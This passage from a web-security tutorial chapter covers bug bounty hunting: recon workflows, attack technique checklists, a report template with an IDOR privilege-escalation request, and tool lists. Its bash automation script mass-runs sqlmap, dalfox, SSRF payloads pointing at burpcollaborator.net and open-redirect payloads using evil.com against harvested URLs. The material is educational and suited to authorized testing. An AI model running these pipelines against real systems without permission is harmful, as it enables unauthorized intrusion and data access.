python3 ssrf-scan.py -t $TARGET -o $OUTPUT_DIR/ssrf.txt

# API endpoint testing
echo "[*] API security testing"
python3 api-fuzzer.py --url $TARGET/api -o $OUTPUT_DIR/api.txt

# SSL/TLS testing
echo "[*] SSL/TLS configuration testing"
testssl.sh $TARGET > $OUTPUT_DIR/ssl.txt

# Generate report
echo "[*] Generating report"
python3 generate_report.py --input $OUTPUT_DIR --output pentest_report.html

echo "[*] Penetration test complete. Results in $OUTPUT_DIR/"

Bug Bounty Tips

Bug bounty programs reward security researchers for finding and responsibly disclosing vulnerabilities. Here's how to be successful.

Target Selection and Reconnaissance

"""
Bug Bounty Hunting Strategy
"""

# Target Selection Criteria
target_selection = {
    'program_factors': {
        'scope': 'Large scope with many assets',
        'bounty_range': '$500+ for medium severity',
        'response_time': 'Fast triage (<48 hours)',
        'reputation': 'Good researcher reviews',
        'age': 'New programs have more low-hanging fruit'
    },
    
    'target_factors': {
        'complexity': 'Complex apps have more attack surface',
        'tech_stack': 'Technology you\'re familiar with',
        'user_roles': 'Multiple user types/privileges',
        'api_endpoints': 'Rich API functionality',
        'file_uploads': 'File upload features present'
    }
}

# Deep Reconnaissance Workflow
recon_workflow = """
1. Asset Discovery
   - Subdomain enumeration (Amass, Subfinder)
   - Port scanning (Masscan, Nmap)
   - Technology fingerprinting (Wappalyzer)
   - JavaScript file analysis
   - GitHub repository search

2. Content Discovery
   - Directory brute forcing
   - Parameter discovery
   - API endpoint enumeration
   - Archived page analysis (Wayback Machine)
   - Google dorking

3. Functionality Mapping
   - User registration/login flows
   - Password reset mechanism
   - File upload/download features
   - Payment processing
   - Admin panels
   - API documentation

4. Attack Surface Analysis
   - Input points (forms, parameters, headers)
   - Authentication mechanisms
   - Authorization checks
   - Session management
   - Third-party integrations
"""

High-Impact Vulnerability Hunting

# Critical Bug Hunting Checklist

critical_bugs = {
    'authentication_bypass': {
        'techniques': [
            'SQL injection in login',
            'JWT token manipulation',
            'OAuth misconfiguration',
            'Password reset poisoning',
            'Session fixation'
        ],
        'bounty_range': '$2000-$10000',
        'testing_approach': """
        1. Test password reset with Host header injection
        2. Try JWT 'none' algorithm
        3. Test OAuth redirect_uri manipulation
        4. Check for session token in URL
        5. Test username enumeration
        """
    },
    
    'privilege_escalation': {
        'techniques': [
            'IDOR (Insecure Direct Object Reference)',
            'Mass assignment',
            'Parameter tampering',
            'GraphQL authorization bypass',
            'API endpoint authorization flaws'
        ],
        'bounty_range': '$1500-$8000',
        'testing_approach': """
        1. Create two accounts (user, admin)
        2. Intercept all requests as user
        3. Try accessing admin endpoints
        4. Manipulate user IDs in requests
        5. Test all API parameters for role changes
        6. Check GraphQL introspection queries
        """
    },
    
    'remote_code_execution': {
        'techniques': [
            'Unrestricted file upload',
            'Server-side template injection',
            'Insecure deserialization',
            'Command injection',
            'XXE with code execution'
        ],
        'bounty_range': '$3000-$15000',
        'testing_approach': """
        1. Upload files with double extensions
        2. Test template syntax in inputs
        3. Inject serialized payloads
        4. Test OS command chaining
        5. Submit XML with external entities
        """
    },
    
    'sql_injection': {
        'techniques': [
            'Error-based SQLi',
            'Blind boolean SQLi',
            'Time-based SQLi',
            'Second-order SQLi',
            'JSON-based SQLi'
        ],
        'bounty_range': '$1000-$5000',
        'testing_approach': """
        1. Test all input fields systematically
        2. Try single/double quote injection
        3. Test JSON parameter injection
        4. Check stored data for SQLi
        5. Test HTTP headers (X-Forwarded-For, etc.)
        """
    },
    
    'ssrf': {
        'techniques': [
            'URL parameter SSRF',
            'PDF generator SSRF',
            'Image upload SSRF',
            'Webhook SSRF',
            'XML external entity'
        ],
        'bounty_range': '$800-$4000',
        'testing_approach': """
        1. Test all URL input fields
        2. Try accessing internal IPs (169.254.x.x)
        3. Test cloud metadata endpoints
        4. Use DNS callback services (Burp Collaborator)
        5. Check webhook/callback parameters
        """
    }
}

# Automation Scripts for Bug Hunting
bug_hunting_automation = """
#!/bin/bash
# Quick bug bounty automation script

TARGET_DOMAIN="target.com"

# Subdomain enumeration
amass enum -passive -d $TARGET_DOMAIN -o subdomains.txt
subfinder -d $TARGET_DOMAIN >> subdomains.txt
cat subdomains.txt | sort -u | httpx -o live_subdomains.txt

# Vulnerability scanning on live hosts
cat live_subdomains.txt | nuclei -t /nuclei-templates/ -o vulnerabilities.txt

# XSS hunting
cat live_subdomains.txt | waybackurls | \
  grep "=" | uro | dalfox pipe -o xss_results.txt

# SQL injection testing
cat live_subdomains.txt | waybackurls | \
  grep "=" | uro | gf sqli | sqlmap --batch --random-agent --level 3

# SSRF hunting
cat live_subdomains.txt | waybackurls | \
  grep "url=" | qsreplace "http://burpcollaborator.net" | \
  xargs -I@ -P 10 curl -ks "@" &

# Open redirect hunting
cat live_subdomains.txt | waybackurls | \
  grep "url=\\|redirect=\\|next=" | \
  qsreplace "https://evil.com" > openredirect.txt
"""

Report Writing Best Practices

"""
High-Quality Bug Report Template
"""

bug_report_template = """
# [Vulnerability Type] in [Feature/Endpoint]

## Summary
A brief description of the vulnerability in 2-3 sentences.
Include the impact and affected component.

## Severity
Critical / High / Medium / Low
(Based on CVSS or program guidelines)

## Description
Detailed explanation of the vulnerability:
- What is the vulnerability?
- Where does it exist?
- Why is it exploitable?
- What could an attacker do?

## Steps to Reproduce
1. Go to https://target.com/vulnerable-page
2. Click on [specific element]
3. Enter payload: [exact payload]
4. Observe [specific result]

## Proof of Concept

### Request
```http
POST /api/user/update HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123

{
  "user_id": 1337,
  "role": "admin"
}
```

### Response
```http
HTTP/1.1 200 OK
Content-Type: application/json

{
  "success": true,
  "user": {
    "id": 1337,
    "role": "admin"
  }
}
```

### Screenshot/Video
[Attach clear screenshots or video demonstration]

## Impact
Detailed impact analysis:
- Confidentiality: Can attacker access sensitive data?
- Integrity: Can attacker modify data?
- Availability: Can attacker cause denial of service?
- Business Impact: What's the real-world impact?

## Remediation
Specific recommendations to fix:
1. Implement proper authorization checks
2. Validate user_id against session
3. Prevent role modification via API
4. Add audit logging for privilege changes

## References
- [OWASP - Broken Access Control](https://owasp.org/...)
- [CWE-639: Authorization Bypass](https://cwe.mitre.org/...)

## Supporting Materials
- Additional PoC scripts
- Exploitation tools used
- Related CVEs or public disclosures
"""

# Report Quality Checklist
report_checklist = {
    'before_submission': [
        'βœ“ Verified vulnerability still exists',
        'βœ“ Tested on production (if allowed)',
        'βœ“ Checked if already reported',
        'βœ“ Clear steps to reproduce',
        'βœ“ Working proof of concept',
        'βœ“ Impact clearly explained',
        'βœ“ Realistic attack scenario',
        'βœ“ No sensitive data in report',
        'βœ“ Grammar/spelling checked'
    ],
    
    'common_mistakes': [
        'βœ— Vague descriptions',
        'βœ— Missing PoC',
        'βœ— Overestimating severity',
        'βœ— Out of scope findings',
        'βœ— Broken reproduction steps',
        'βœ— No impact explanation',
        'βœ— Too many vulnerabilities in one report'
    ]
}

Bug Bounty Platforms and Resources

"""
Bug Bounty Platform Comparison
"""

platforms = {
    'HackerOne': {
        'pros': 'Largest platform, most programs, good reputation',
        'cons': 'High competition, many duplicate reports',
        'avg_bounty': '$500-$2000',
        'top_programs': 'GitLab, Shopify, PayPal, Dropbox'
    },
    
    'Bugcrowd': {
        'pros': 'Quality programs, fast triage, good support',
        'cons': 'Smaller than HackerOne',
        'avg_bounty': '$400-$1500',
        'top_programs': 'Tesla, Fitbit, Western Union'
    },
    
    'Intigriti': {
        'pros': 'European focus, quality over quantity',
        'cons': 'Fewer programs than H1/Bugcrowd',
        'avg_bounty': '$300-$1200',
        'top_programs': 'European government sites, enterprises'
    },
    
    'YesWeHack': {
        'pros': 'Growing platform, unique European programs',
        'cons': 'Smaller community',
        'avg_bounty': '$250-$1000',
        'top_programs': 'French companies, EU organizations'
    },
    
    'Synack': {
        'pros': 'Invitation only, less competition, good pay',
        'cons': 'Hard to get accepted, strict rules',
        'avg_bounty': '$800-$3000',
        'top_programs': 'Government, finance, healthcare'
    }
}

# Essential Tools for Bug Bounty
tools = {
    'reconnaissance': [
        'Amass - Subdomain enumeration',
        'Subfinder - Fast subdomain discovery',
        'Assetfinder - Find related domains',
        'httprobe/httpx - Check live hosts',
        'Nmap - Port scanning',
        'Masscan - Fast port scanner'
    ],
    
    'content_discovery': [
        'ffuf - Fast web fuzzer',
        'dirsearch - Directory brute forcing',
        'Arjun - Parameter discovery',
        'waybackurls - Historical URLs',
        'gau - Get all URLs'
    ],
    
    'vulnerability_scanning': [
        'Nuclei - Template-based scanner',
        'Dalfox - XSS scanner',
        'SQLmap - SQL injection',
        'SSRF-Sheriff - SSRF testing',
        'GitLeaks - Secret scanning'
    ],
    
    'manual_testing': [
        'Burp Suite Pro - HTTP proxy',
        'OWASP ZAP - Free alternative',
        'Postman - API testing',
        'jwt.io - JWT manipulation',
        'CyberChef - Encoding/decoding'
    ],
    
    'collaboration': [
        'Burp Collaborator - Out-of-band testing',
        'Interactsh - Self-hosted alternative',
        'RequestBin - HTTP request capture',
        'ngrok - Local tunnel exposure'
    ]
}

# Learning Resources
resources = {
    'courses': [
        'PortSwigger Web Security Academy (Free)',
        'PentesterLab (Paid)',
        'Hack The Box (Freemium)',
        'TryHackMe (Freemium)',
        'SANS SEC542 - Web App Penetration Testing'
    ],
    
    'books': [
        'The Web Application Hacker\'s Handbook',
        'Real-World Bug Hunting by Peter Yaworski',
        'Bug Bounty Bootcamp by Vickie Li',
        'Tangled Web by Michal Zalewski'
    ],
    
    'youtube_channels': [
        'STΓ–K - Bug bounty tips',
        'InsiderPhD - Beginner friendly',
        'NahamSec - Live hacking',
        'LiveOverflow - In-depth explanations',
        'PwnFunction - Visual learning'
    ],
    
    'twitter_follows': [
        '@NahamSec - Tips and motivation',
        '@STOKFREDRIK - Bug bounty insights',
        '@InsiderPhD - Educational content',
        '@jhaddix - Methodology master',
        '@zseano - Bug bounty stories'
    ]
}

πŸ’‘ Defense-in-Depth Philosophy

No single security control is perfect. Layer multiple defensive measures so that if one fails, others can catch the attack. Think of security like layers of an onion - each layer adds protection.

  • Network Layer: Firewalls, IDS/IPS
  • Application Layer: WAF, input validation
  • Authentication Layer: MFA, strong passwords
  • Authorization Layer: RBAC, least privilege
  • Data Layer: Encryption, tokenization
  • Monitoring Layer: SIEM, audit logs

🎯 Security Hardening Challenge

Deploy a vulnerable web application (e.g., DVWA, WebGoat) and implement all the defenses covered in this section:

  1. Implement secure authentication with MFA
  2. Add comprehensive input validation
  3. Configure CSP and security headers
  4. Deploy ModSecurity with OWASP CRS
  5. Set up centralized logging and monitoring
  6. Run automated security scans
  7. Perform manual penetration test
  8. Write a security assessment report

Before: Vulnerable application with multiple exploitable flaws
After: Hardened application that passes security audit

πŸ“š Key Takeaways

  • Secure by Design: Build security into your application from day one, not as an afterthought
  • Input Validation: Never trust user input - validate everything with whitelist approach
  • Output Encoding: Context-aware encoding prevents XSS and injection attacks
  • Defense in Depth: Layer multiple security controls for redundancy
  • Secure SDLC: Integrate security throughout the development lifecycle
  • Continuous Testing: Regular penetration testing and vulnerability scanning
  • Bug Bounties: Leverage the security community to find vulnerabilities
  • Stay Updated: Security is an ongoing process, not a one-time task
← Previous: Chapter 06 Next: Chapter 08 β†’